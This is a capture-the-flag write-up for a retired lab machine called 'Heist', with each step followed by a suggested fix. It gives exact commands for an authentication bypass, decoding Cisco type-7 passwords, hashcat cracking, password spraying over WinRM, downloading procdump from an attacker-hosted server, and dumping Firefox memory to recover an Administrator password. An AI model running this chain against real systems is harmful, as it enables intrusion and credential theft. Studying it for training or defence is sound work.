Heist
Summary
Starting with no credentials, I bypassed authentication on a support-ticket web portal using a single URL parameter, then downloaded a Cisco router configuration attached to an open ticket. Three plaintext passwords were recovered in minutes — two by trivially reversing Cisco's fixed-key XOR encoding, one by cracking a weak MD5 hash.
Those passwords were sprayed against Windows Remote Management (WinRM) and matched the Windows account for user chase, giving an interactive remote shell. From that foothold I dumped the memory of a Firefox browser running under chase's session, extracted the local Administrator password it had saved for the web portal, and authenticated as Administrator over WinRM to achieve full control of the server.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 1
nmap -sV -sC -p 80,135,445,5985 $TARGET -oN heist_nmap.txtExact commands 1
curl -s -L -c cookies.txt -b cookies.txt "http://$TARGET/login.php?guest=true"FixRemove the unauthenticated guest bypass from the support portalCritical
Exact commands 1
curl -s -b cookies.txt "http://$TARGET/attachments/config.txt"FixProhibit sensitive device configuration files in support ticketsHigh
Exact commands 1
python3 -c "
k='$PASSWORD'
import re
for s in re.findall(r'password 7 (\\S+)', open('config.txt').read()):
b=bytes.fromhex(s); i=b[0]
print(''.join(chr(b[j]^ord(k[(i+j-1)%len(k)])) for j in range(1,len(b))))
"FixReplace Cisco type-7 password encoding with type-8 or type-9 hashingHigh
Exact commands 2
echo "$HASH" > secret.hashhashcat -m 500 secret.hash /usr/share/wordlists/rockyou.txtFixReplace Cisco MD5 enable secrets with a modern algorithmMedium
Exact commands 3
nxc smb $TARGET -u users.txt -p passwords.txt --continue-on-successnxc winrm $TARGET -u users.txt -p passwords.txtnxc winrm $TARGET -u chase -p "$PASSWORD" -x 'whoami && type C:\Users\chase\Desktop\user.txt'FixEnforce unique passwords across all systems — no credential reuse between devices and Windows accountsCritical
Exact commands 5
python3 -m http.server 9011 --bind $ATTACKER_IP --directory /path/to/SysinternalsSuitenxc winrm $TARGET -u chase -p "$PASSWORD" -x 'powershell -c "(New-Object Net.WebClient).DownloadFile(\"http://$ATTACKER_IP:9011/procdump64.exe\",\"C:\\Users\\chase\\Documents\\procdump64.exe\")"'nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'tasklist | findstr /i firefox'nxc winrm $TARGET -u chase -p "$PASSWORD" -x 'C:\Users\chase\Documents\procdump64.exe -accepteula -ma 3856 C:\Users\chase\Documents\firefox.dmp'strings firefox.dmp | grep -a 'login_password'FixPrevent browsers from storing credentials for privileged accounts, and restrict WinRM accessCritical
Exact commands 1
nxc winrm $TARGET -u Administrator -p "$PASSWORD" -x 'whoami && hostname && type C:\Users\Administrator\Desktop\root.txt'Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 445/tcp | microsoft-ds? |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |